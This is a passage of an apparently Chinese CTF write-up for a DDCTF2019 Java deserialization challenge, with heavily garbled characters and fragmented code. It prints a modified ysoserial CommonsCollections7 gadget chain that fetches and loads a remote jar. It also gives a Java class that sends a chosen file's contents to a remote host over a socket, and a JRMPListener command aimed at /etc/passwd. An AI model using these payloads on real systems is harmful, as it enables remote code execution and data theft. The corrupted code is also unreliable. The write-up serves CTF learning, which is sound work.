PayloadTest?(?precondition?=?"isApplicableJavaVersion")?@Dependencies({"commons-collections:commons-collections:3.1"})?@Authors({?Authors.MATTHIASKAISER,?Authors.JASINNER?})
public?class?CommonsCollections7?extends?PayloadRunner?implements?ObjectPa?yload< BadAttributeValueExpException>?{

public?BadAttributeValueExpException?getObject(final?String?fileName)?throws?Exception?{
//?inert?chain?for?setup
final?Transformer?transformerChain?=?new?ChainedTransformer(?new?Transformer[]{?new?ConstantTransformer(1)?});
//?real?chain?for?after?setup
final?Transformer[]?transformers?=?new?Transformer[]?{
new?ConstantTransformer(java.net.URLClassLoader.class),
//?getConstructor?class.class?classname?new?InvokerTransformer("getConstructor",
new?Class[]?{?Class[].class?},
new?Object[]?{?new?Class[]?{?java.net.URL[].class?}?})
,
//?newinstance?string?http://www.iswin.org/attach/iswin.jar?new?InvokerTransformer(
"newInstance",
new?Class[]?{?Object[].class?},
new?Object[]?{?new?Object[]?{?new?java.net.URL[]?{?new?jav

a.net.URL(




}),


"http://ip:8080/getflag2.jar")?}?}?}),
//?loadClass?String.class?R
new?InvokerTransformer("loadClass",
new?Class[]?{?String.class?},?new?Object[]?{?"getflag2"

//?set?the?target?reverse?ip?and?port?new?InvokerTransformer("getConstructor",
new?Class[]?{?Class[].class?},
new?Object[]?{?new?Class[]?{?String.class?}?}),
//?invoke
new?InvokerTransformer("newInstance",?new?Class[]?{?Object[].class?},
new?Object[]?{?new?String[]?{?fileName?}?}),?new?ConstantTransformer(1)?};


final?Map?innerMap?=?new?HashMap();

final?Map?lazyMap?=?LazyMap.decorate(innerMap,?transformerChain);?TiedMapEntry?entry?=?new?TiedMapEntry(lazyMap,?"foo");

BadAttributeValueExpException?val?=?new?BadAttributeValueExpExcept?ion(null);
Field?valfield?=?val.getClass().getDeclaredField("val");?valfield.setAccessible(true);
valfield.set(val,?entry);

Reflections.setFieldValue(transformerChain,?"iTransformers",?trans?formers);?//?arm?with?actual?transformer?chain

return?val;
}

public?static?void?main(final?String[]?args)?throws?Exception?{?PayloadRunner.run(CommonsCollections7.class,?args);
}

public?static?boolean?isApplicableJavaVersion()?{?return?JavaVersion.isBadAttrValExcReadObj();
}

}


重新打包后丢到自己的vps上,顺便在在vps打包一个get?ag2.jar?Get?ag2.java

import?java.io.*;?import?java.net.Socket;

public?class?Getflag2?{
public?Getflag2(String?fileName)?{?try?{

Socket?socket?=?new?Socket("ip",?8080);
OutputStream?socketOutputStream?=?socket.getOutputStream();
DataOutputStream?dataOutputStream?=?new?DataOutputStream(socke?tOutputStream);

File?file?=?new?File(fileName);

if?(file.isDirectory())?{
for?(File?temp?:?file.listFiles())?{?dataOutputStream.writeUTF(temp.toString());




e);

}
}?else?{
FileInputStream?fileInputStream?=?new?FileInputStream(fil

InputStreamReader?inputStreamReader?=?new?InputStreamReade

r(fileInputStream);
BufferedReader?bufferedReader?=?new?BufferedReader(inputSt
reamReader)
;

String?line;
while?((line?=?bufferedReader.readLine())?!=?null)?{?dataOutputStream.writeUTF(line);
}
}
dataOutputStream.flush();


}?catch?(FileNotFoundException?e)?{?e.printStackTrace();
}?catch?(IOException?e)?{?e.printStackTrace();
}
}
}

然后在服务端上开一个web服务提供get?ag2.jar的下载,再开一个jrmp就可以看是随缘读?ag了。

java?-cp?ysoserial-0.0.6-SNAPSHOT-all.jar?ysoserial.exploit.JRMPListener?1?099?CommonsCollections7?'/etc/passwd'

?最后找到?ag在根目录的?ag文件夹下

补充说明

为什么ObjId没有被拦截,比赛时能打就没管了,如果分析错了请师傅们指正,表象是ObJid是并没有在序列化内容里面

本质上是最后序列化的点在 RemoteObject 里面执行了 writeObject

在 RemoteObject 这里 ref 是传入的 UnicastRef 对象

跟踪进入 UnicastRef 的 writeExternal

在 UnicastRef 这里ref是外部传入的 LiveRef

查看 LiveRef 的write方法,这里标红的id就是Objid。

最后查看ObjId的write

最后写入的是一个long型数字和ObjId类型没关系。

—————?End?—————

? ? 延伸阅读? ??

【知识库】DDCTF2019官方Write Up——Android篇

【知识库】DDCTF2019官方Write Up——Reverse篇

【知识库】DDCTF2019官方Write Up——Misc篇

官网题目仍开放访问,点击“阅读原文“前往

? ? 关于漏洞 ? ?

滴滴出行相关漏洞请提交至

http://sec.didichuxing.com/


关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接